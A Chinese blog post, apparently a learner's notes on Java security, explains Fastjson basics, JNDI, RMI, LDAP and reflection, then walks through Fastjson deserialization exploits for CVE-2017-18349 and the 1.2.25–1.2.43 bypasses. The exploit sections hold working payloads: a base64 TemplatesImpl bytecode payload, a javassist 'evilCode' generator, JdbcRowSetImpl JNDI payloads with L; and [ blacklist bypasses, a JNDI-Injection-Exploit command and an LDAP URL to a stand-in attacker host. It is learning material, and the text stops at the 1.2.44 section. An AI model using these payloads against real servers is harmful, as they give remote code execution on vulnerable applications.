记录对java安全的初次探索
fastjson入门学习 参考文章
前置知识 简介
Fastjson是一个Java语言编写的高性能JSON解析库,它提供了强大的JSON处理能力,能够在Java对象和JSON之间进行快速、灵活的相互转换。
fastjson如何用 在IDEA创建一个maven项目,打开pox.xml在末尾添加如下代码
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.50</version> </dependency> </dependencies>
添加完记得点击右侧的maven重新加载
然后就可以编写简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.example; import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("Alice", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 public static class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public int getAge() { return age; } } }
这段代码很好的展示了Fastjson应用的方便之处,可以将Java对象和JSON之间快速转换,执行结果如下
此外我们可以注意到下面这行代码的表述吗,用的是Person.class
来直接进行映射,这是由于Java
类的属性名和JSON
字段名是相同的
1 Person person2 = JSON.parseObject(jsonString2, Person.class);
如果不相同的话,可以使用@JSONField
注解来指定Java
类的属性和JSON
字段之间的映射关系
demo如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.annotation.JSONField; public class Main { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("Alice", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"user_age\":20,\"user_name\":\"Bob\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 public static class Person { @JSONField(name = "user_name") private String name; @JSONField(name = "user_age") private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public int getAge() { return age; } } }
运行结果如下,会发现也能成功在Java
类的属性和JSON
字段之间进行转换
我们注意到明明实例化的是Person person = new Person("Alice", 18);
为什么属性顺序是反过来的,原因是在fastjson
中,默认情况下,生成的JSON
字符串的顺序是按照属性的字母顺序 进行排序的,而不是按照属性在类中的声明顺序。如果我们希望按照属性在类中的声明顺序来生成JSON
字符串,可以通过在类中使用@JSONType
注解来设置属性的序列化顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.annotation.JSONType; public class Main { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("Alice", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 @JSONType (orders = {"name","age"}) public static class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public int getAge() { return age; } } }
我们通过@JSONType(orders = {"name", "age"})
来指定属性的序列化顺序,这样就是name
在前,age
在后了
了解一些基本的注解后我们来看看@type
@type
是fastjson
中的一个特殊注解,用于标识JSON
字符串中的某个属性是一个Java
对象的类型。具体来说,当fastjson
从JSON
字符串反序列化为Java
对象时,如果JSON
字符串中包含@type
属性,fastjson
会根据该属性的值来确定反序列化后的Java
对象的类型。
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.io.IOException; public class Main { public static void main(String[] args) throws IOException { String json="{\"@type\":\"java.lang.Runtime\"}"; ParserConfig.getGlobalInstance().addAccept("java.lang"); Runtime runtime=(Runtime) JSON.parseObject(json, Object.class); runtime.exec("calc.exe"); } }
我们详细分析下代码
1 import java.io.IOException;
我们导入Java标准库中的IOException异常类,因为如果发生了I/O错误(如本demo的弹calc),又或者无法执行命令或读取命令输出时,会抛出IOException
。
我们先定义json其中@type
属性的值为java.lang.Runtime
,然后执行下面语句指定在JSON解析过程中,允许反序列化指定的类或包
1 ParserConfig.getGlobalInstance().addAccept("java.lang");
接着使用parseObject
方法,将JSON字符串解析为Java对象
(由于fastjson
在1.2.24
之后默认禁用AutoType
,因此这里我们通过下面命令来开启,否则会报错autoType is not support
。)
1 Runtime runtime=(Runtime) JSON.parseObject(json, Object.class);
然后成功弹出计算器
我们继续看下面demo,先创建Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example; public class Person { private String name; private int age; public Person(){} public String toString(){ return "Person{"+"name="+name+", age="+age+'}'; } public Person(String name,int age){ this.name=name; this.age=age; } public String getName(){ return name; } public void setName(String name){ this.name=name; } public int getAge(){ return age; } public void setAge(int age){ this.age=age; } }
然后再看向main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Main { public static void main(String[] args){ Person user=new Person(); user.setName("rev1ve"); user.setAge(18); String s1=JSON.toJSONString(user,SerializerFeature.WriteClassName); System.out.println(s1); } }
输出结果为
与前面代码对比,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,开启自省后序列化成JSON
的数据就会多一个@type
,这个是代表对象类型的JSON
文本。FastJson
的漏洞就是他的这一个功能去产生的在对该JSON
数据进行反序列化的时候,会去调用指定类中对于的get/set/is
方法, 后面会详细分析
然后我们可以通过以下三种方式来反序列化json
字符串了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // 方法一(返回JSONObject对象): Person user = new Person(); user.setAge(18); user.setName("rev1ve"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); JSONObject jsonObject = JSON.parse(s1); System.out.println(jsonObject); // 方法二: Person user = new Person(); user.setAge(18); user.setName("rev1ve"); String s = JSON.toJSONString(user); Person user1 = JSON.parseObject(s, Person.class); //反序列化转化为目标类型Person类 System.out.println(user1); // 方法三: Person user = new Person(); user.setAge(18); user.setName("rev1ve"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); Person user1 = JSON.parseObject(s1,Person.class); System.out.println(user1);
执行结果均为
1 Person{name=rev1ve, age=18}
JNDI是什么
JNDI
是Java
平台的一种API
,它提供了访问各种命名和目录服务的统一方式。JNDI
通常用于在JavaEE
应用程序中查找和访问资源,如JDBC
数据源、JMS
连接工厂和队列等。
RMI是什么
RMI
指的是远程方法调用(Remote Method Invocation
),是Java
平台提供的一种机制,可以实现在不同Java
虚拟机之间进行方法调用。
我们直接看下面使用了RMI
的demo
代码,包括一个服务器端和一个客户端。这个demo
实现了一个简单的计算器程序,客户端通过RMI
调用服务器端的方法进行加、减、乘、除四则运算。
Calculator.java(计算机接口)
1 2 3 4 5 6 7 8 9 10 package org.example; import java.rmi.Remote; import java.rmi.RemoteException; public interface Calculator extends Remote { public int add(int a,int b) throws RemoteException; public int subtract(int a,int b) throws RemoteException; public int multiply(int a,int b) throws RemoteException; public int divide(int a,int b) throws RemoteException; }
public interface Calculator extends Remote
表示此接口是远程接口,提供加减乘除的运算操作
Server.java(服务端)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package org.example; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;//作用是导出远程对象 public class Server extends UnicastRemoteObject implements Calculator { public Server() throws RemoteException{} public int add(int x, int y) throws RemoteException { return x + y; } public int subtract(int a, int b) throws RemoteException { return 0; } public int multiply(int a, int b) throws RemoteException { return 0; } public int divide(int a, int b) throws RemoteException { return 0; } public static void main(String[] args) { try{ Server obj=new Server(); //在端口号1028上创建RMI注册表 LocateRegistry.createRegistry(1028); //获取指定1028端口上的RMI注册表实例的代码 Registry registry = LocateRegistry.getRegistry(1028); //将远程对象Calculator绑定到RMI注册表的代码 registry.bind("Calculator", obj); System.out.println("Server ready"); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
Client.java(客户端)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { private Client(){} public static void main(String[] args) { try { //获取localhost指定1028端口上的RMI注册表实例的代码 Registry registry=LocateRegistry.getRegistry("localhost",1028); //寻找registry的远程对象Calculator Calculator calc=(Calculator) registry.lookup("Calculator"); //调用远程方法 int result=calc.add(5,7); System.out.println("Result:"+result); }catch (Exception e){ System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } } }
demo执行过程如下
创建RMI注册表,然后将远程对象Calculator绑定,运行代码启动服务
然后在客户端运行代码成功执行运算过程
LDAP是什么
LDAP
是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。在Java
安全中,LDAP
通常用于集成应用程序与企业目录服务(例如Microsoft Active Directory
或OpenLDAP
)的认证和授权功能。
我们通过公司-员工管理的例子来理解Fastjson系列漏洞中ldap的作用
假设有一个名为”example.com
“的公司,需要存储和管理员工信息。他们使用LDAP
作为员工信息的目录服务,每个员工都在LDAP
中有一个唯一的标识符(DN
),举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 DN: uid=john,ou=People,dc=example,dc=com cn: John Doe sn: Doe givenName: John uid: john userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g= DN: uid=alice,ou=People,dc=example,dc=com cn: Alice Smith sn: Smith givenName: Alice uid: alice userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=
上图两位员工的DN由四个RDN(与DN相对区分)组成,分别是uid=john,ou=People,dc=example,dc=com
可以使用LDAP查询语句来检索员工信息,例如(&(objectClass=person)(uid=john))
。
&表示AND操作符,实现多个查询条件,这里表示查找所有objectClass
为person
,且uid
为john
的员工信息
而在Fastjson
漏洞中,攻击者可以通过构造特定的LDAP
查询语句,来执行任意代码或获取敏感信息。
例如下面JSON字符串包含恶意构造LDAP url
1 {"@type":"java.net.URL","value":"ldap://hackvps.com/exp"}
当Fastjson
解析该JSON
字符串时,会触发LDAP
查询操作,查询hackervps.com
上的LDAP
服务,并执行名为“exp
”的操作。这就是Fastjson
漏洞的成因之一。
java反射是什么 我们通过下面demo来进行理解
如果我们不用反射的话,我们写的代码会是下面这样
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example; public class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public void sayHello() { System.out.println("Hello, my name is " + name + ", I'm " + age + " years old."); } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
Main.java
1 2 3 4 5 6 7 8 9 package org.example; public class Main { public static void main(String[] args){ Person person=new Person("张三",20); person.sayHello(); person.setAge(18); System.out.println(person); } }
输出结果如下
可以看到,我们一开始设置人的名字为张三,年龄为20
,然后我们通过setAge
方法来修改Person
的Age
属性,把年龄改成18
。 但是这么写是有问题的,因为我们不可能总是在编译之前就已经确定好我们要具体改什么值了,我们更希望这个值可以动态变化,所以需要用到Java
反射技术。我们可以修改上面的Main.java
为如下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class Main { public static void main(String[] args) throws Exception { // 获取Person类的Class对象 Class<?> clazz = Class.forName("org.example.Person"); // 先获取构造函数,然后创建Person对象 Constructor<?> constructor = clazz.getConstructor(String.class, int.class); Object person = constructor.newInstance("张三", 20); // 调用Person对象的sayHello方法 Method method = clazz.getMethod("sayHello"); method.invoke(person); // 绕过私有字段的访问限制,修改Person对象的age属性 Field field = clazz.getDeclaredField("age"); field.setAccessible(true); field.set(person, 18); // 输出修改后的Person对象信息 System.out.println(person); } }
与漏洞的联系 为什么要用到反射,而不是直接调用java.lang.runtime
来执行命令?
比如下面弹计算器
1 2 3 4 5 6 7 8 9 package org.example; import org.apache.commons.io.IOUtils; public class Main { public static void main(String[] args) throws Exception { System.out.println(IOUtils.toString(Runtime.getRuntime().exec("calc.exe").getInputStream(), "UTF-8")); } }
要运行上述代码,需要在maven中引入如下依赖
1 2 3 4 5 <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.11.0</version> </dependency>
添加完记得点击右侧的maven重新加载
这样就成功弹出计算器
可是既然这么做可以执行命令,为什么还要搞反射呢?
原来Java安全机制会对代码的执行进行限制,例如限制代码的访问权限、限制代码的资源使用等。如果代码需要执行一些危险的操作,例如执行系统命令,就需要获取Java的安全权限。如果代码没有通过安全检测,就无法执行危险操作。而反射机制可以绕过Java安全机制的限制,从而执行危险操作。
我们以环境java8为例,demo如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Method; public class Main { public static void main(String[] args) throws Exception { //加载java.lang.Runtime类 Class<?> runtimeClass=Class.forName("java.lang.Runtime"); //获取该类的exec方法并且接受String参数 Method execMethod=runtimeClass.getMethod("exec",String.class); //通过反射调用方法,执行系统命令并返回一个Process对象 Process process=(Process) execMethod.invoke(Runtime.getRuntime(),"calc.exe"); //下面两行将进程的标准输出流转换为更方便读取的字符流形式 InputStream in=process.getInputStream(); BufferedReader reader=new BufferedReader(new InputStreamReader(in)); String line; //使用BufferedReader进行逐行读取 while((line=reader.readLine())!=null){ System.out.println(line); } } }
成功弹出计算器
漏洞学习 fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349) (学习TemplatesImpl链的相关知识)
我们导入Fastjson1.2.23
并自动下载相关依赖
然后写入如下代码至Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAEG9yZy9leGFtcGxlL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADAAEAA0ADQAOAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAXAAgAGAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\n\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
运行代码成功弹出计算器
漏洞分析 上面json字符串test的_bytecodes
内容是下面内容编译成.class
文件再base64加密后的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {} public static void main(String[] args) throws Exception { Test t = new Test(); } }
我们定义Test类继承AbstractTranslet
类,然后通过构造方法执行calc
的命令。而下面两行的transform方法都是实现AbstractTranslet
接口的抽象方法,具体来说的话,第一个transform
带有SerializationHandler
参数,是为了把XML
文档转换为另一种格式,第二个transform
带有DTMAxisIterator
参数,是为了对XML
文档中的节点进行迭代。
实际上就是我们Test t = new Test();
实例化的时候,假装要把xml
文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc
,所以会弹出计算器。
为什么要继承AbstractTranslet类
在实战场景中,Java
的ClassLoader
类提供了defineClass()
方法,可以把字节数组转换成Java
类的示例,但是这里面的方法的作用域是被Protected
修饰的,也就是说这个方法只能在ClassLoader
类中访问,不能被其他包中的类访问
而由于我们前面编写的poc中两个transform
方法都来自AbstractTranslet
类,那么子类可以通过调用父类的公共方法来实现对私有属性的操作,这也能解释下面的链子是如何实现的
但是,我们注意到在TransletClassLoader
类中,defineClass
调用了ClassLoader
里面的defineClass
方法
然后追踪TransletClassLoader
,发现是defineTransletClasses
再往上,发现是getTransletInstance
到此为止,要么是Private
修饰要么就是Protected
修饰,再往上继续追踪,发现是newTransformer
,可以看到此时已经是public
了
因此,我们的利用链是:
1 TemplatesImpl::newTransformer() -> TemplatesImpl::getTransletInstance() -> TemplatesImpl::defineTransletClasses() -> TransletClassLoader::defineClass()
最终poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import java.util.Base64; public class Main { public static class test{ } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "rev1ve" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); try { byte[] evilCode = cc.toBytecode(); String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'rev1ve',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
成功弹出计算器
fastjson 1.2.25 反序列化漏洞 (学习JdbcRowSetImpl链的相关知识)
黑白名单机制介绍 众所周知,在fastjson
自爆1.2.24
版本的反序列化漏洞后,1.2.25
版本就加入了黑白名单机制。 例如我们更换1.2.25
版本的fastjson
,然后再去执行原来的poc
会发现提示autoType is not support
查看源码可以发现这里定义了反序列化类的黑名单
具体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
接下来我们定位到checkAutoType()
方法,看一下它的逻辑。如果autoType
(也就是autoTypeSupport)开启或者class对象不为空,那么先判断类名在不在白名单中,若有则TypeUtils.loadClass
去加载,如果不在就去匹配黑名单
如果没开启autoType
那么先匹配黑名单,然后再白名单匹配和加载
最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType
或者expectClass
不为空也就是指定了Class
对象时才会调用TypeUtils.loadClass
加载,否则fastjson
会默认禁止加载该类。
我们跟进下加载时的loadClass
方法
如果类名的字符串以[
开头,则说明该类是一个数组类型,需要递归调用loadClass
方法来加载数组元素类型对应的Class
对象,然后使用Array.newIntrance
方法来创建一个空数组对象,最后返回该数组对象的Class
对象;如果类名的字符串以L
开头并以;
结尾,则说明该类是一个普通的Java
类,需要把开头的L
和结尾的;
给去掉,然后递归调用loadClass
。
黑白名单绕过的复现(jkd版本问题未成功) 分析完后,复现绕过我们需要先开启默认禁用的autoType
,这里我们添加代码即可
1 2 3 //以下两种都行 ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb."); ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
然后启动利用工具 下载地址
1 java -jar ./JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"
在Main.java写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args) { String payload = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://127.0.0.1:1389/18zmzg\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(payload); } }
运行结果如下
对两种poc绕过手法的分析 首先来说说限制,基于JNDI+RMI
或JDNI+LADP
进行攻击,会有一定的JDK
版本限制
1 2 RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113 LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191
第一种poc(1.2.25-1.2.47通杀!!!)
1 {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}
第二种poc
绕过检测L
和;
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}"; JSONObject.parse(payload); } }
关于JdbcRowSetImpl链利用的分析 从上面我们学习了绕过黑白名单的学习,接下来看JdbcRowSetImpl
利用链的原理。 根据FastJson
反序列化漏洞原理,FastJson
将JSON
字符串反序列化到指定的Java
类时,会调用目标类的getter
、setter
等方法。JdbcRowSetImpl
类的setAutoCommit()
会调用connect()
方法
connect()
函数如下
我们注意这两行代码
1 2 InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
执行过程是从命名和目录服务中查找指定名称的数据源,并将其赋值给 var2
变量
我们可以用下面demo测试下,成功弹出计算器
org.example; 1 2 3 4 5 6 7 8 9 import com.sun.rowset.JdbcRowSetImpl; public class Main { public static void main(String[] args) throws Exception { JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl(); JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/ift2ty"); JdbcRowSetImpl_inc.setAutoCommit(true); } }
所以说为什么之前的两种poc
可以直接自定义uri
利用成功。
fastjson 1.2.42 反序列化漏洞 导入fastjson 1.2.25
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>fastjson_1_2_42</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.42</version> </dependency> </dependencies> </project>
我们找到ParserConfig.class反编译一下得到java文件
注意到checkAutoType
这里进行判断,仅仅是把原来的L
和;
换成了hash
的形式
所以直接双写L
和;
即可,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\", \"autoCommit\":true}"; JSONObject.parse(payload); } }
fastjson 1.2.43 反序列化漏洞 修改之前的pom.xml
里面的版本为1.2.43
。 直接全局搜索checkAutoType
,看修改后的代码
如果出现连续的两个L
就报错,但是并没有对[
限制,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\", \"autoCommit\":true}"; JSONObject.parse(payload); } }
fastjson 1.2.44 mappings缓存导致反序列化漏洞 修改之前的pom.xml
里面的版本为1.2.44
。 这个版本的fastjson
